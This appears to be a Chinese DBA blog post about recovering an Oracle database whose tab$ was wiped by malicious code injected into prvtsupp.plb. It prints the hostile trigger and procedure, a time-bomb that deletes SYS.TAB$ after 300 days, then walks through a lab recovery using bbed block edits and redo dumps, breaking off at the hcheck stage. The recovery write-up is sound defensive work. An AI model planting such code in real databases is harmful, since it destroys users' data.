近期大量的客户数据库软件被注入恶意代码,导致数据库无法启动,报错ORA-00600: internal error code, arguments: [16703], [1403], [20],大致的原因和预防措施可参考下面文章:http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
大致的意思是由于恶意攻击,$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。这些恶意代码会被注入到使用这个oracle软件dbca创建的数据库中,核心部分为一个触发器一个存储过程,清空了tab$,导致数据库启动时,bootstrap阶段无法完成。
触发器如下:
1 2 3 4 5 6 7 |
create or replace trigger DBMS_SUPPORT_DBMONITOR after startup on database declare begin DBMS_SUPPORT_DBMONITORP; end; / |
触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程,存储过程代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 |
PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE; IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; END IF; END; / |
该存储过程逻辑为:判断数据库的创建时间是否大于 300 天,如果大于300天则ctas备份tab$之后,delete tab$。
如果有备份的话,那么很简单就不展开了,本文主要介绍没备份的方法。
首先手工构造场景:
模拟DBMS_SUPPORT_DBMONITORP里的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
SQL> @swl System altered. SQL> select count(*) from t; COUNT(*) ---------- 13982 SQL> create table t_bak as select * from tab$; Table created. SQL> delete from tab$; 1251 rows deleted. SQL> commit; Commit complete. SQL> alter system checkpoint; System altered. SQL> shutdown abort; ORACLE instance shut down. |
此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019 Copyright (c) 1982, 2013, Oracle. All rights reserved. Connected to an idle instance. SQL> startup ORACLE instance started. Total System Global Area 1269366784 bytes Fixed Size 2252864 bytes Variable Size 1191186368 bytes Database Buffers 67108864 bytes Redo Buffers 8818688 bytes Database mounted. ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [] Process ID: 3255 Session ID: 125 Serial number: 5 |
恢复思路:
由于有且仅有tab$被delete,所以如果能恢复tab$的数据则数据库将得以恢复,这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路):
- 写成脚本逐一还原被delete的行,目前我的同事编写了python和shell两个版本,经过实战验证都可以完美恢复。
- 由于恶意代码中,delete tab$前,ctas了一份tab$的备份,可以尝试先open数据库,再根据备份的tab$ insert到tab$中。
- odu抽取数据,重建库
本文只模拟第二种方法,恢复步骤大致如下:
- open数据库
- 根据备份的tab$ insert到tab$中
在恢复之前首先简单介绍一下tab$,tab$是cluster C_OBJ#中的一个table,CLUSTER KEY为OBJ#,C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象,tab$在数据库中是非常核心的一个基表,它记录了table的段头地址以及统计信息。在数据库open过程中,需要访问到的基表对象如果在tab$中不存在,则数据库将无法open,报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。
1 2 3 4 5 6 |
CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE ( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144)) SIZE 800 CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER," PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#) |
灵魂拷问1:那如何open数据库呢?
在数据库open过程中,需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx],那么将这些对象的信息还原回tab$,则数据库将open成功。
灵魂拷问2:如何确定数据库open需要访问哪些核心基表呢?
找一个正常的数据库做open时的10046,过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
SQL> startup mount; ORACLE instance started. Total System Global Area 1269366784 bytes Fixed Size 2252864 bytes Variable Size 754978752 bytes Database Buffers 503316480 bytes Redo Buffers 8818688 bytes Database mounted. SQL> @46on Statement processed. Statement processed. SQL> alter database open; Database altered. SQL> @46off /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc Statement processed. |
简单的对10046 trace文件进行筛选则可以找到这些基表的obj#,并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
[oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//' 10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99 SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 2 FROM TAB$ a,obj$ b 3 WHERE a.obj#=b.obj# 4 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99) 5 order by 6,7; OBJ# TAB# DATAOBJ# BOBJ# NAME FILE_ID BLOCK_ID ---------- ---------- ---------- ---------- ------------------------------ ---------- ---------- 25 25 PROXY_ROLE_DATA$ 1 145 17 17 FILE$ 1 145 20 4 2 2 ICOL$ 1 145 19 3 2 2 IND$ 1 145 28 28 CON$ 1 145 15 15 UNDO$ 1 145 21 5 2 2 COL$ 1 146 16 2 6 6 TS$ 1 146 5 2 2 2 CLU$ 1 146 14 2 8 8 SEG$ 1 146 23 23 PROXY_DATA$ 1 146 22 1 10 10 USER$ 1 147 18 18 OBJ$ 1 147 4 1 2 2 TAB$ 1 147 59 59 BOOTSTRAP$ 1 147 32 2 29 29 CCOL$ 1 147 61 61 OBJAUTH$ 1 148 31 1 29 29 CDEF$ 1 148 69 69 VIEW$ 1 148 80 6 2 2 LOB$ 1 149 74 74 SEQ$ 1 149 83 7 2 2 COLTYPE$ 1 149 99 99 EDITION$ 1 149 98 98 PROPS$ 1 149 95 11 2 2 OPQTYPE$ 1 149 92 10 2 2 REFCON$ 1 149 88 9 2 2 NTAB$ 1 149 86 8 2 2 SUBCOLTYPE$ 1 149 101 101 FIXED_OBJ$ 1 150 103 103 MIGRATE$ 1 150 104 104 DEPENDENCY$ 1 150 105 105 ACCESS$ 1 150 118 118 SYSAUTH$ 1 150 160 160 TRIGGER$ 1 152 161 161 TRIGGERCOL$ 1 152 192 192 SQL$ 1 153 221 221 PROCEDURE$ 1 154 228 228 IDL_SB4$ 1 155 227 227 IDL_UB2$ 1 155 226 226 IDL_CHAR$ 1 155 225 225 IDL_UB1$ 1 155 252 14 2 2 LIBRARY$ 1 156 294 294 RESOURCE_PLAN$ 1 158 297 297 RESOURCE_PLAN_DIRECTIVE$ 1 159 300 300 RESOURCE_STORAGE_POOL_MAPPING$ 1 159 301 301 RESOURCE_CAPABILITY$ 1 159 302 302 RESOURCE_INSTANCE_CAPABILITY$ 1 159 304 304 TSM_SRC$ 1 159 307 307 TSM_DST$ 1 159 311 311 SERVICE$ 1 160 390 390 RADM_FPTM$ 1 163 436 436 XS$SESSION_ROLES 1 165 433 433 XS$SESSIONS 1 165 438 438 XS$SESSION_APPNS 1 165 453 453 TAB_STATS$ 1 166 451 451 AUX_STATS$ 1 166 448 448 HIST_HEAD$ 1 166 446 1 444 444 HISTGRM$ 1 166 455 455 IND_STATS$ 1 166 463 463 ASSOCIATION$ 1 167 506 506 OPTSTAT_HIST_CONTROL$ 1 3337 514 514 ID_GENS$ 1 3337 515 515 OID$ 1 3337 517 17 2 2 TYPE_MISC$ 1 3338 567 567 KOPM$ 1 3339 587 587 PARTOBJ$ 1 3341 713 713 STREAMS$_CAPTURE_PROCESS 1 4396 717 717 STREAMS$_APPLY_PROCESS 1 4396 721 721 STREAMS$_PROPAGATION_PROCESS 1 4396 1297 1297 SYS_FBA_FA 1 7897 1300 1300 SYS_FBA_TSFA 1 7897 1307 1307 SYS_FBA_USERS 1 7897 1306 1306 SYS_FBA_PARTITIONS 1 7897 1304 1304 SYS_FBA_TRACKEDTABLES 1 7897 1302 1302 SYS_FBA_BARRIERSCN 1 7897 1314 1314 REGISTRY$ 1 7898 1309 1309 SYS_FBA_DL 1 7898 5541 5541 DAM_CONFIG_PARAM$ 1 9952 5582 5582 INVALIDATION_REGISTRY$ 1 9954 5780 5780 LOC$ 1 9963 5804 5804 AQ$_QUEUE_TABLE_AFFINITIES 1 9965 5797 5797 AQ$_QUEUES 1 9965 5794 5794 AQ$_QUEUE_TABLES 1 9965 5814 5814 AQ$_SCHEDULES 1 9965 7144 7144 REPCAT$_REPPROP 1 13368 12939 12939 AQ$_SCHEDULER$_EVENT_QTAB_L 1 22502 12973 12973 AQ$_SCHEDULER$_REMDB_JOBQTAB_L 1 22504 13003 13003 AQ$_SCHEDULER_FILEWATCHER_QT_L 1 22506 13059 13059 AQ$_ALERT_QT_L 1 22509 13273 13273 AQ_EVENT_TABLE 1 22518 13298 13298 AQ$_AQ_PROP_TABLE_L 1 22519 13604 13604 AQ$_SYS$SERVICE_METRICS_TAB_L 1 31492 14137 14137 AQ$_WM$EVENT_QUEUE_TABLE_L 1 31514 |
这些对象在同版本同平台的数据库上的rdba地址一般都是一致的,所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库,否则后续处理会比较麻烦),使用bbed进行替换,用sql拼接出bbed的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
SQL> SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM ( 2 SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 3 FROM TAB$ a,obj$ b 4 WHERE a.obj#=b.obj# 5 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99)); 'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID ---------------------------------------------------------------------------------------------------------------------------------------------------------- copy file 2 block 156 to file 1 block 156 copy file 2 block 160 to file 1 block 160 copy file 2 block 3339 to file 1 block 3339 copy file 2 block 7898 to file 1 block 7898 copy file 2 block 9965 to file 1 block 9965 copy file 2 block 149 to file 1 block 149 copy file 2 block 153 to file 1 block 153 copy file 2 block 9952 to file 1 block 9952 copy file 2 block 13368 to file 1 block 13368 copy file 2 block 150 to file 1 block 150 copy file 2 block 152 to file 1 block 152 copy file 2 block 158 to file 1 block 158 copy file 2 block 165 to file 1 block 165 copy file 2 block 9963 to file 1 block 9963 copy file 2 block 147 to file 1 block 147 copy file 2 block 145 to file 1 block 145 copy file 2 block 148 to file 1 block 148 copy file 2 block 154 to file 1 block 154 copy file 2 block 166 to file 1 block 166 copy file 2 block 4396 to file 1 block 4396 copy file 2 block 9954 to file 1 block 9954 copy file 2 block 22502 to file 1 block 22502 copy file 2 block 22506 to file 1 block 22506 copy file 2 block 155 to file 1 block 155 copy file 2 block 159 to file 1 block 159 copy file 2 block 22504 to file 1 block 22504 copy file 2 block 31492 to file 1 block 31492 copy file 2 block 146 to file 1 block 146 copy file 2 block 163 to file 1 block 163 copy file 2 block 3338 to file 1 block 3338 copy file 2 block 7897 to file 1 block 7897 copy file 2 block 22509 to file 1 block 22509 copy file 2 block 31514 to file 1 block 31514 copy file 2 block 167 to file 1 block 167 copy file 2 block 3337 to file 1 block 3337 copy file 2 block 3341 to file 1 block 3341 copy file 2 block 22518 to file 1 block 22518 copy file 2 block 22519 to file 1 block 22519 38 rows selected. [oracle@test ~]$ bbed parfile=bbed BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019 Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved. ************* !!! For Oracle Internal Use only !!! *************** BBED> info File# Name Size(blks) ----- ---- ---------- 1 /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw 0 2 /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf 0 |
可以看到这里需要替换38个数据块,替换后可以成功open数据库,注意如果是实战环境open数据库之前需要禁用系统触发器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
BBED> copy file 2 block 156 to file 1 block 156 Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 511 Dba:0x0040009c ------------------------------------------------------------------------ 06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300 00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000 970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300 fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00 35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105 89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505 5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a 021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13 2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c 540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 <32 bytes per line> BBED> set count 1 COUNT 1 BBED> copy file 2 block 156 to file 1 block 156 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 0 Dba:0x0040009c ------------------------------------------------------------------------ 06 <32 bytes per line> BBED> copy file 2 block 160 to file 1 block 160 ......省略 尝试open数据库: SQL> conn / as sysdba Connected to an idle instance. SQL> startup ORACLE instance started. Total System Global Area 1269366784 bytes Fixed Size 2252864 bytes Variable Size 1191186368 bytes Database Buffers 67108864 bytes Redo Buffers 8818688 bytes Database mounted. Database opened. |
灵魂拷问3:如何将备份的tab$ insert回tab$?
由于tab$的备份表在tab$中并没有恢复所以无法查询,下面需要根据redodump去确定tab$的备份表t_bak的rdba
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
SQL> desc t_bak ERROR: ORA-03113: end-of-file on communication channel Process ID: 2812 Session ID: 125 Serial number: 7 通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn:1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#,不难找到create table as t_bak对tab$的redo日志: CHANGE #2 TYP:2 CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0 KTB Redo op: 0x11 ver: 0x01 compat bit: 4 (post-11) padding: 1 op: F xid: 0x0004.00f.0000011e uba: 0x00c00630.0050.37 Block cleanout record, scn: 0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow... itli: 1 flg: 2 scn: 0x0000.000f5a8b KDO Op code: IRP row dependencies Disabled xtype: XA flags: 0x00000000 bdba: 0x00407b2c hdba: 0x00400090 itli: 2 ispac: 0 maxfr: 4863 tabn: 1 slot: 2(0x2) size/delt: 123 fb: -CH-FL-- lb: 0x2 cc: 36 cki: 0 null: 01234567890123456789012345678901234567890123456789012345678901234567890123456789 ----NN-N------NNNNNNNNNNNN-----NNNN- col 0: [ 4] c3 02 30 34 --obj# col 1: [ 1] 80 col 2: [ 2] c1 02 col 3: [ 4] c3 05 61 29 col 4: *NULL* col 5: *NULL* col 6: [ 2] c1 26 col 7: *NULL* col 8: [ 2] c1 0b col 9: [ 2] c1 29 col 10: [ 2] c1 02 col 11: [ 3] c2 03 38 col 12: [ 2] c1 02 col 13: [38] 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d col 14: *NULL* col 15: *NULL* col 16: *NULL* col 17: *NULL* col 18: *NULL* col 19: *NULL* col 20: *NULL* col 21: *NULL* col 22: *NULL* col 23: *NULL* col 24: *NULL* col 25: *NULL* col 26: [ 2] c1 26 col 27: [ 2] c1 26 col 28: [ 6] c5 06 25 58 0a 0d col 29: [ 1] 80 col 30: [ 3] c2 02 4d col 31: *NULL* col 32: *NULL* col 33: *NULL* col 34: *NULL* col 35: [ 7] 78 77 01 1f 0e 25 01 |
可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532),cki为0即cluster key为kdbr[0]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
BBED> set count 16 COUNT 16 BBED> set file 1 block 31532 FILE# 1 BLOCK# 31532 BBED> p *kdbr[0] rowdata[2060] ------------- ub1 rowdata[2060] @2601 0xac BBED> x /rx rowdata[2060] @2601 ------------- flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK) lock@2602: 0x00 cols@2603: 1 kref@2604: 38 mref@2606: 37 hrid@2608:0x00407b2c.0 nrid@2614:0x00407b2c.0 col 0[4] @2620: 0xc3 0x02 0x30 0x34 |
与redo dump一致,下面开始恢复tab$中t_bak的记录,由于是cluster block所以过程有点繁琐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
BBED> p *kdbr[5] rowdata[1937] ------------- ub1 rowdata[1937] @2478 0x7c BBED> x /rn rowdata[1937] @2478 ------------- flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC) lock@2479: 0x02 cols@2480: 0 BBED> m /x 6c offset 2478 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 2478 to 2493 Dba:0x00407b2c ------------------------------------------------------------------------ 6c022400 04c30230 34018002 c10204c3 <32 bytes per line> BBED> sum apply Check value for File 1, Block 31532: current = 0x1e1f, required = 0x1e1f BBED> v DBVERIFY - Verification starting FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf BLOCK = 31532 Block Checking: DBA = 4225836, Block Type = KTB-managed data block data header at 0x7f1cebc1d25c kdbchk: key comref count wrong keyslot=0 Block 31532 failed with check code 6121 DBVERIFY - Verification complete Total Blocks Examined : 1 Total Blocks Processed (Data) : 1 Total Blocks Failing (Data) : 1 Total Blocks Processed (Index): 0 Total Blocks Failing (Index): 0 Total Blocks Empty : 0 Total Blocks Marked Corrupt : 0 Total Blocks Influx : 0 Message 531 not found; product=RDBMS; facility=BBED BBED> m /x 26 offset 2606 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 2606 to 2621 Dba:0x00407b2c ------------------------------------------------------------------------ 26000040 7b2c0000 00407b2c 000004c3 <32 bytes per line> BBED> sum apply Check value for File 1, Block 31532: current = 0x1e1c, required = 0x1e1c BBED> v DBVERIFY - Verification starting FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf BLOCK = 31532 Block Checking: DBA = 4225836, Block Type = KTB-managed data block data header at 0x11e5a5c kdbchk: the amount of space used is not equal to block size used=3398 fsc=385 avsp=4432 dtl=8096 Block 31532 failed with check code 6110 DBVERIFY - Verification complete Total Blocks Examined : 1 Total Blocks Processed (Data) : 1 Total Blocks Failing (Data) : 1 Total Blocks Processed (Index): 0 Total Blocks Failing (Index): 0 Total Blocks Empty : 0 Total Blocks Marked Corrupt : 0 Total Blocks Influx : 0 Message 531 not found; product=RDBMS; facility=BBED BBED> p kdbh struct kdbh, 14 bytes @92 ub1 kdbhflag @92 0x00 (NONE) sb1 kdbhntab @93 7 sb2 kdbhnrow @94 127 sb2 kdbhfrre @96 6 sb2 kdbhfsbo @98 296 sb2 kdbhfseo @100 449 sb2 kdbhavsp @102 4432 sb2 kdbhtosp @104 4829 BBED> p ktbbhitl struct ktbbhitl[0], 24 bytes @44 struct ktbitxid, 8 bytes @44 ub2 kxidusn @44 0x0008 ub2 kxidslt @46 0x0005 ub4 kxidsqn @48 0x00000182 struct ktbituba, 8 bytes @52 ub4 kubadba @52 0x00c00d2f ub2 kubaseq @56 0x0086 ub1 kubarec @58 0x14 ub2 ktbitflg @60 0x8000 (KTBFCOM) union _ktbitun, 2 bytes @62 sb2 _ktbitfsc @62 0 ub2 _ktbitwrp @62 0x0000 ub4 ktbitbas @64 0x00102cd7 struct ktbbhitl[1], 24 bytes @68 struct ktbitxid, 8 bytes @68 ub2 kxidusn @68 0x0009 ub2 kxidslt @70 0x0009 ub4 kxidsqn @72 0x0000018f struct ktbituba, 8 bytes @76 ub4 kubadba @76 0x00c00499 ub2 kubaseq @80 0x00f9 ub1 kubarec @82 0x09 ub2 ktbitflg @84 0x2003 (KTBFUPB) union _ktbitun, 2 bytes @86 sb2 _ktbitfsc @86 385 ub2 _ktbitwrp @86 0x0181 ub4 ktbitbas @88 0x00102ce3 BBED> m /x 0000 offset 86 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 86 to 101 Dba:0x00407b2c ------------------------------------------------------------------------ 0000e32c 10000007 7f000600 2801c101 <32 bytes per line> BBED> m /x 5a12 offset 102 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 102 to 117 Dba:0x00407b2c ------------------------------------------------------------------------ 5a1210d9 00000300 03000300 06000000 <32 bytes per line> BBED> m /x 5a12 offset 104 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c ------------------------------------------------------------------------ 5a120000 03000300 03000600 00000600 <32 bytes per line> BBED> sum apply Check value for File 1, Block 31532: current = 0x1c10, required = 0x1c10 BBED> v DBVERIFY - Verification starting FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf BLOCK = 31532 Block Checking: DBA = 4225836, Block Type = KTB-managed data block data header at 0x1207a5c kdbchk: space available on commit is incorrect tosp=4698 fsc=0 stb=8 avsp=4698 Block 31532 failed with check code 6111 DBVERIFY - Verification complete Total Blocks Examined : 1 Total Blocks Processed (Data) : 1 Total Blocks Failing (Data) : 1 Total Blocks Processed (Index): 0 Total Blocks Failing (Index): 0 Total Blocks Empty : 0 Total Blocks Marked Corrupt : 0 Total Blocks Influx : 0 Message 531 not found; product=RDBMS; facility=BBED BBED> m /x 6212 offset 104 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c ------------------------------------------------------------------------ 62120000 03000300 03000600 00000600 <32 bytes per line> BBED> sum apply Check value for File 1, Block 31532: current = 0x1c28, required = 0x1c28 BBED> v DBVERIFY - Verification starting FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf BLOCK = 31532 DBVERIFY - Verification complete Total Blocks Examined : 1 Total Blocks Processed (Data) : 1 Total Blocks Failing (Data) : 0 Total Blocks Processed (Index): 0 Total Blocks Failing (Index): 0 Total Blocks Empty : 0 Total Blocks Marked Corrupt : 0 Total Blocks Influx : 0 Message 531 not found; product=RDBMS; facility=BBED SQL> select count(*) from t_bak; COUNT(*) ---------- 1250 |
t_bak已经恢复完成,下面insert回tab$
1 2 3 4 5 6 7 8 9 10 11 12 13 |
SQL> insert into tab$ select * from (select * from t_bak where obj# in (select obj# from t_bak where obj#<>14751 minus select obj# from tab$)); 982 rows created. SQL> commit; Commit complete. SQL> select count(*) from t; COUNT(*) ---------- 13982 |
至此数据库基本恢复完成。
但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 |
